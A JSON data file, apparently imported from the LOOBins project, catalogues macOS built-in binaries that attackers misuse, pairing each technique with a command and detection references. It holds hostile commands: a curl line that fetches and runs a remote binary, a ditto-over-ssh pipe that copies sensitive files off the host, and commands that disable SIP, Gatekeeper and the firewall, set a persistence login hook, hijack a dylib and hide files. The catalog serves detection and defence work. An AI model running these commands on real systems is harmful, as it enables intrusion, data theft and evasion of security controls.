{ "repository": "https://github.com/infosecB/LOOBins", "commit": "399e3c4bdddb55c7dc49beb20bfe43490eac1184", "license": "GPL-3.0", "techniques": [ { "id": "loobins:GetFileInfo:764efced340d4784", "toolId": "loobins:GetFileInfo", "toolName": "GetFileInfo", "name": "Iterate through a directory to GetFileInfo", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Discovery" ], "nativeCategory": [ "Discovery" ], "command": "for FILE in ~/Downloads/*; do echo $(GetFileInfo $FILE) >> fileinfo.txt; sleep 2; done", "description": "A bash or zsh oneliner can provide an attacker with information about specific files of interest.", "mitre": [], "fullPath": [ "/usr/bin/GetFileInfo" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "No detections at time of publishing", "value": "No detections at time of publishing" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/GetFileInfo.yml", "https://macosbin.com/bin/getfileinfo" ] }, { "id": "loobins:SetFile:16396f8014d822c7", "toolId": "loobins:SetFile", "toolName": "SetFile", "name": "Set a file or directory attribute to invisible", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Persistence", "Defense Evasion" ], "nativeCategory": [ "Persistence", "Defense Evasion" ], "command": "for FILE in ~/*; do echo $(SetFile -a V $FILE && echo $(GetFileInfo $FILE)) >> /tmp/fileinfo.txt; sleep 2; done", "description": "A bash or zsh oneliner can allow an attacker to set the file attribute to invisible. This action can establish persistence and evade detection for malicious files on the system.", "mitre": [], "fullPath": [ "/usr/bin/SetFile" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "No detections at time of publishing", "value": "No detections at time of publishing" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/SetFile.yml", "https://daringfireball.net/2008/04/the_invisible_bit" ] }, { "id": "loobins:SetFile:60497c149294fffb", "toolId": "loobins:SetFile", "toolName": "SetFile", "name": "Change a file's creation and modification timestamps", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Defense Evasion" ], "nativeCategory": [ "Defense Evasion" ], "command": "SetFile -d \"04/25/2023 11:11:00\" -m \"04/25/2023 11:12:00\" targetfile.txt", "description": "Setfile can be used with the -d and -m arguments to alter a file's creation and modification date, respectively.", "mitre": [], "fullPath": [ "/usr/bin/SetFile" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "No detections at time of publishing", "value": "No detections at time of publishing" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/SetFile.yml", "https://daringfireball.net/2008/04/the_invisible_bit" ] }, { "id": "loobins:caffeinate:eed3d0d746ebad74", "toolId": "loobins:caffeinate", "toolName": "caffeinate", "name": "Fork a process", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Execution", "Defense Evasion" ], "nativeCategory": [ "Execution", "Defense Evasion" ], "command": "caffeinate -i /tmp/evil", "description": "Make caffeinate fork a process and hold an assertion that prevents idle sleep as long as that process is running", "mitre": [], "fullPath": [ "/usr/bin/caffeinate" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "No detections at time of publishing", "value": "No detections at time of publishing" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/caffeinate.yml", "https://macosbin.com/bin/caffeinate", "https://ss64.com/osx/caffeinate.html" ] }, { "id": "loobins:caffeinate:b64b930cbcc85165", "toolId": "loobins:caffeinate", "toolName": "caffeinate", "name": "Prevent a sleep", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Execution" ], "nativeCategory": [ "Execution" ], "command": "caffeinate -u -t 14400", "description": "Prevent a macOS from going to sleep for 4 hours (14400 seconds)", "mitre": [], "fullPath": [ "/usr/bin/caffeinate" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "No detections at time of publishing", "value": "No detections at time of publishing" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/caffeinate.yml", "https://macosbin.com/bin/caffeinate", "https://ss64.com/osx/caffeinate.html" ] }, { "id": "loobins:chflags:6dc222e2477a144c", "toolId": "loobins:chflags", "toolName": "chflags", "name": "Hide a file", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Defense Evasion" ], "nativeCategory": [ "Defense Evasion" ], "command": "chflags hidden ~/evil", "description": "Add the hidden flag to a file or directory to prevent it from being \nvisible in Finder and Terminal.", "mitre": [], "fullPath": [ "/usr/bin/chflags" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "Sigma: Hidden Flag Set On File/Directory Via Chflags", "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_chflags_hidden_flag.yml" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/chflags.yml", "https://ss64.com/mac/chflags.html", "https://macosbin.com/bin/chflags", "https://eclecticlight.co/2024/07/03/how-to-hide-files-and-folders/" ] }, { "id": "loobins:chflags:657af3584bd20804", "toolId": "loobins:chflags", "toolName": "chflags", "name": "Remove hidden flag", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Defense Evasion" ], "nativeCategory": [ "Defense Evasion" ], "command": "chflags nohidden ~/evil", "description": "Remove the hidden flag to a file or directory to make it visible in Finder\nand Terminal.", "mitre": [], "fullPath": [ "/usr/bin/chflags" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "Sigma: Hidden Flag Set On File/Directory Via Chflags", "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_chflags_hidden_flag.yml" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/chflags.yml", "https://ss64.com/mac/chflags.html", "https://macosbin.com/bin/chflags", "https://eclecticlight.co/2024/07/03/how-to-hide-files-and-folders/" ] }, { "id": "loobins:codesign:7e467a3d8b50ed97", "toolId": "loobins:codesign", "toolName": "codesign", "name": "Ad-hoc codesigning an app bundle", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Defense Evasion" ], "nativeCategory": [ "Defense Evasion" ], "command": "codesign --force --deep -s - MyApp.app", "description": "This command forcefully re-signs the MyApp.app application with an ad-hoc signature, applying the signature deeply to all nested code within the app", "mitre": [], "fullPath": [ "/usr/bin/codesign" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "Jamf Protect: Detect ad-hoc codesigning activity", "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/adhoc_codesigning.yaml" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/codesign.yml", "https://www.sentinelone.com/blog/when-apple-admits-macos-malware-is-a-problem-its-time-to-take-notice/", "https://ss64.com/mac/codesign.html" ] }, { "id": "loobins:csrutil:26103c8c140bf3a9", "toolId": "loobins:csrutil", "toolName": "csrutil", "name": "Disable SIP", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Defense Evasion" ], "nativeCategory": [ "Defense Evasion" ], "command": "csrutil disable", "description": "disable SIP (System Integrity Protection) - requires booting into recovery mode", "mitre": [], "fullPath": [ "/usr/bin/csrutil" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "Sigma: System Integrity Protection (SIP) Disabled", "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_disable.yml" }, { "type": "Sigma: System Integrity Protection (SIP) Enumeration", "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_status.yml" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/csrutil.yml", "https://developer.apple.com/forums/thread/4002", "https://attack.mitre.org/techniques/T1518/001/", "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf" ] }, { "id": "loobins:csrutil:a0a1b78e4d71e620", "toolId": "loobins:csrutil", "toolName": "csrutil", "name": "Disable authenticated-root", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Defense Evasion" ], "nativeCategory": [ "Defense Evasion" ], "command": "csrutil authenticated-root disable", "description": "When authenticated-root is disabled, booting is allowed from non-sealed system snapshots - requires booting into recovery mode", "mitre": [], "fullPath": [ "/usr/bin/csrutil" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "Sigma: System Integrity Protection (SIP) Disabled", "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_disable.yml" }, { "type": "Sigma: System Integrity Protection (SIP) Enumeration", "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_status.yml" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/csrutil.yml", "https://developer.apple.com/forums/thread/4002", "https://attack.mitre.org/techniques/T1518/001/", "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf" ] }, { "id": "loobins:csrutil:bc2665f645a68439", "toolId": "loobins:csrutil", "toolName": "csrutil", "name": "Add a netboot server", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Defense Evasion" ], "nativeCategory": [ "Defense Evasion" ], "command": "csrutil netboot add
", "description": "Insert a new IPv4 address in the list of allowed NetBoot sources", "mitre": [], "fullPath": [ "/usr/bin/csrutil" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "Sigma: System Integrity Protection (SIP) Disabled", "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_disable.yml" }, { "type": "Sigma: System Integrity Protection (SIP) Enumeration", "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_status.yml" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/csrutil.yml", "https://developer.apple.com/forums/thread/4002", "https://attack.mitre.org/techniques/T1518/001/", "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf" ] }, { "id": "loobins:csrutil:3e74e76040ed06ba", "toolId": "loobins:csrutil", "toolName": "csrutil", "name": "Map infrastructure", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Discovery" ], "nativeCategory": [ "Reconnaissance", "Discovery" ], "command": "csrutil netboot list", "description": "List allowed NetBoot sources", "mitre": [], "fullPath": [ "/usr/bin/csrutil" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "Sigma: System Integrity Protection (SIP) Disabled", "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_disable.yml" }, { "type": "Sigma: System Integrity Protection (SIP) Enumeration", "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_status.yml" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/csrutil.yml", "https://developer.apple.com/forums/thread/4002", "https://attack.mitre.org/techniques/T1518/001/", "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf" ] }, { "id": "loobins:csrutil:33a98a8b396dd6ec", "toolId": "loobins:csrutil", "toolName": "csrutil", "name": "Determine if SIP is enabled", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Discovery" ], "nativeCategory": [ "Discovery" ], "command": "csrutil status", "description": "Determine if System Integrity Protection is enabled", "mitre": [], "fullPath": [ "/usr/bin/csrutil" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "Sigma: System Integrity Protection (SIP) Disabled", "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_disable.yml" }, { "type": "Sigma: System Integrity Protection (SIP) Enumeration", "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_status.yml" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/csrutil.yml", "https://developer.apple.com/forums/thread/4002", "https://attack.mitre.org/techniques/T1518/001/", "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf" ] }, { "id": "loobins:defaults:2be370c95286961d", "toolId": "loobins:defaults", "toolName": "defaults", "name": "Disable Gatekeeper's auto rearm functionality", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Defense Evasion" ], "nativeCategory": [ "Defense Evasion" ], "command": "sudo defaults write /Library/Preferences/com.apple.security GKAutoRearm -bool NO", "description": "The following command can be used to disable Gatekeepers rearm functionality. This command requires root privileges.", "mitre": [], "fullPath": [ "/usr/bin/defaults" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "No detections at time of publishing", "value": "No detections at time of publishing" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/defaults.yml", "https://macos-defaults.com/", "https://www.huntress.com/blog/insistence-on-persistence" ] }, { "id": "loobins:defaults:8f051a66b5fb0607", "toolId": "loobins:defaults", "toolName": "defaults", "name": "Show mounted servers", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Discovery" ], "nativeCategory": [ "Discovery" ], "command": "defaults read com.apple.finder \"ShowMountedServersOnDesktop\"", "description": "Show all mounted servers on the desktop.", "mitre": [], "fullPath": [ "/usr/bin/defaults" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "No detections at time of publishing", "value": "No detections at time of publishing" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/defaults.yml", "https://macos-defaults.com/", "https://www.huntress.com/blog/insistence-on-persistence" ] }, { "id": "loobins:defaults:4052ddb76eee1951", "toolId": "loobins:defaults", "toolName": "defaults", "name": "Add a login item to the current user", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Persistence" ], "nativeCategory": [ "Persistence" ], "command": "sudo defaults write /Library/Preferences/com.apple.loginwindow LoginHook gain_persistence.sh", "description": "An attacker can use defaults to add a login hook in attempt to gain persistence. This command requires root privileges.", "mitre": [], "fullPath": [ "/usr/bin/defaults" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "No detections at time of publishing", "value": "No detections at time of publishing" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/defaults.yml", "https://macos-defaults.com/", "https://www.huntress.com/blog/insistence-on-persistence" ] }, { "id": "loobins:defaults:16d24c230e14950e", "toolId": "loobins:defaults", "toolName": "defaults", "name": "Get Active Directory user info from Jamf Connect", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Discovery" ], "nativeCategory": [ "Discovery" ], "command": "defaults read com.jamf.connect.state", "description": "Retrieve Active Directory user info from Jamf Connect defaults configuration.", "mitre": [], "fullPath": [ "/usr/bin/defaults" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "No detections at time of publishing", "value": "No detections at time of publishing" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/defaults.yml", "https://macos-defaults.com/", "https://www.huntress.com/blog/insistence-on-persistence" ] }, { "id": "loobins:defaults:1600168e079bee30", "toolId": "loobins:defaults", "toolName": "defaults", "name": "Enable Firewall", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Defense Evasion" ], "nativeCategory": [ "Defense Evasion" ], "command": "sudo defaults write /Library/Preferences/com.apple.alf globalstate -int 1", "description": "Enables macOS' default firewall. This command requires root privileges.", "mitre": [], "fullPath": [ "/usr/bin/defaults" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "No detections at time of publishing", "value": "No detections at time of publishing" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/defaults.yml", "https://macos-defaults.com/", "https://www.huntress.com/blog/insistence-on-persistence" ] }, { "id": "loobins:defaults:72f81c54c9acbf93", "toolId": "loobins:defaults", "toolName": "defaults", "name": "Disable Firewall", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Defense Evasion" ], "nativeCategory": [ "Defense Evasion" ], "command": "sudo defaults write /Library/Preferences/com.apple.alf globalstate -int 0", "description": "Disables macOS' default firewall. This command requires root privileges.", "mitre": [], "fullPath": [ "/usr/bin/defaults" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "No detections at time of publishing", "value": "No detections at time of publishing" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/defaults.yml", "https://macos-defaults.com/", "https://www.huntress.com/blog/insistence-on-persistence" ] }, { "id": "loobins:disown:e2c68d9f80308eca", "toolId": "loobins:disown", "toolName": "disown", "name": "Start a process and remove it from the jobs table.", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Persistence" ], "nativeCategory": [ "Persistence" ], "command": "curl -O http://1.1.1.1/updated && chmod +x updated && ./updated & disown && pkill Terminal", "description": "The following command downloads a remote binary, sets it to executable, executes the binary, disowns it from the shell it spawned from, and closes the terminal session.", "mitre": [], "fullPath": [ "shell built-in command (bash)" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "No detection content at time of writing", "value": "No detection content at time of writing" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/disown.yml", "https://linux.die.net/man/1/disown", "https://man7.org/linux/man-pages/man1/bash.1.html", "https://www.esentire.com/blog/poseidon-stealer-uses-sora-ai-lure-to-infect-macos" ] }, { "id": "loobins:ditto:a669d3fe27d2b814", "toolId": "loobins:ditto", "toolName": "ditto", "name": "Copy and compress sensitive data locally", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Collection" ], "nativeCategory": [ "Collection", "Exfiltration" ], "command": "ditto -c -k --sequesterRsrc --keepParent /home/user/sensitive-files /tmp/l00t.zip", "description": "The following command gathers and compresses (-c) files from the specified folder and writes them to a zip (-k) file.", "mitre": [], "fullPath": [ "/usr/bin/ditto" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "No detection content at time of writing", "value": "No detection content at time of writing" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/ditto.yml", "https://ss64.com/osx/ditto.html", "https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/", "https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/" ] }, { "id": "loobins:ditto:3956e8036c3f0ecc", "toolId": "loobins:ditto", "toolName": "ditto", "name": "Remove extended attributes from a file", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Collection" ], "nativeCategory": [ "Collection", "Exfiltration" ], "command": "ditto -c -k unsigned.app app.zip ditto -x -k app.zip unsigned.app 2>/dev/null", "description": "ditto can be used to bypass Gatekeeper by removing the \"com.apple.quarantine\" extended attribute.", "mitre": [], "fullPath": [ "/usr/bin/ditto" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "No detection content at time of writing", "value": "No detection content at time of writing" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/ditto.yml", "https://ss64.com/osx/ditto.html", "https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/", "https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/" ] }, { "id": "loobins:ditto:cdd3c14f73ed66d6", "toolId": "loobins:ditto", "toolName": "ditto", "name": "Copy, compress, and transfer sensitive data to a remote macOS host", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Collection", "Lateral Movement", "Defense Evasion" ], "nativeCategory": [ "Collection", "Exfiltration", "Lateral Movement", "Defense Evasion" ], "command": "ditto -c --norsrc /home/user/sensitive-files - | ssh remote_host ditto -x --norsrc - /home/user/l00t", "description": "The following command gathers and compresses (-c) files from the specified folder and writes them to a zip (-k) file.", "mitre": [], "fullPath": [ "/usr/bin/ditto" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "No detection content at time of writing", "value": "No detection content at time of writing" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/ditto.yml", "https://ss64.com/osx/ditto.html", "https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/", "https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/" ] }, { "id": "loobins:ditto:46f00f81c5001006", "toolId": "loobins:ditto", "toolName": "ditto", "name": "DLL hijacking", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Persistence" ], "nativeCategory": [ "Persistence" ], "command": "ditto -V /path/to/malicious-library/malicious_library.dylib /path/to/target-library/original_library.dylib", "description": "Replace a legitimate library with a malicious one while maintaining the original file permissions and attributes.", "mitre": [], "fullPath": [ "/usr/bin/ditto" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "No detection content at time of writing", "value": "No detection content at time of writing" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/ditto.yml", "https://ss64.com/osx/ditto.html", "https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/", "https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/" ] }, { "id": "loobins:dns-sd:53f3998acc18fff6", "toolId": "loobins:dns-sd", "toolName": "dns-sd", "name": "Discover SSH hosts", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Discovery" ], "nativeCategory": [ "Discovery" ], "command": "dns-sd -B _ssh._tcp", "description": "Hosts serving SSH can be discovered using the _ssh._tcp service string.", "mitre": [], "fullPath": [ "/usr/bin/dns-sd" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "Jamf Protect: Detect dns-sd discovery activity", "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/dns_service_discovery" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dns-sd.yml", "https://themittenmac.com/what-does-apt-activity-look-like-on-macos", "https://jonathanmumm.com/tech-it/mdns-bonjour-bible-common-service-strings-for-various-vendors/" ] }, { "id": "loobins:dns-sd:53dfc1310c71878f", "toolId": "loobins:dns-sd", "toolName": "dns-sd", "name": "Discover web hosts", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Discovery" ], "nativeCategory": [ "Discovery" ], "command": "dns-sd -B _http._tcp", "description": "Hosts serving web services can be discovered using the _http._tcp service string.", "mitre": [], "fullPath": [ "/usr/bin/dns-sd" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "Jamf Protect: Detect dns-sd discovery activity", "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/dns_service_discovery" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dns-sd.yml", "https://themittenmac.com/what-does-apt-activity-look-like-on-macos", "https://jonathanmumm.com/tech-it/mdns-bonjour-bible-common-service-strings-for-various-vendors/" ] }, { "id": "loobins:dns-sd:fb0f781dd1ea98d0", "toolId": "loobins:dns-sd", "toolName": "dns-sd", "name": "Discover hosts serving remote screen sharing", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Discovery" ], "nativeCategory": [ "Discovery" ], "command": "dns-sd -B _rfb._tcp", "description": "Hosts serving remote screen sharing can be discovered using the _rfb._tcp service string.", "mitre": [], "fullPath": [ "/usr/bin/dns-sd" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "Jamf Protect: Detect dns-sd discovery activity", "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/dns_service_discovery" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dns-sd.yml", "https://themittenmac.com/what-does-apt-activity-look-like-on-macos", "https://jonathanmumm.com/tech-it/mdns-bonjour-bible-common-service-strings-for-various-vendors/" ] }, { "id": "loobins:dns-sd:917b3a1e5a1ef7f0", "toolId": "loobins:dns-sd", "toolName": "dns-sd", "name": "Discover hosts serving SMB", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Discovery" ], "nativeCategory": [ "Discovery" ], "command": "dns-sd -B _smb._tcp", "description": "Hosts serving SMB can be discovered using the _smb._tcp service string.", "mitre": [], "fullPath": [ "/usr/bin/dns-sd" ], "environment": [ "Local host" ], "availability": "Built in", "verification": "Upstream reference", "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.", "detection": [ { "type": "Jamf Protect: Detect dns-sd discovery activity", "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/dns_service_discovery" } ], "references": [ "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dns-sd.yml", "https://themittenmac.com/what-does-apt-activity-look-like-on-macos", "https://jonathanmumm.com/tech-it/mdns-bonjour-bible-common-service-strings-for-various-vendors/" ] }, { "id": "loobins:dscacheutil:93caef4af761b12e", "toolId": "loobins:dscacheutil", "toolName": "dscacheutil", "name": "Lookup a user", "source": "LOOBins", "platform": [ "macOS" ], "capability": [ "Discovery" ], "nativeCategory": [ "Discovery" ], "command": "dscacheutil -q user -a name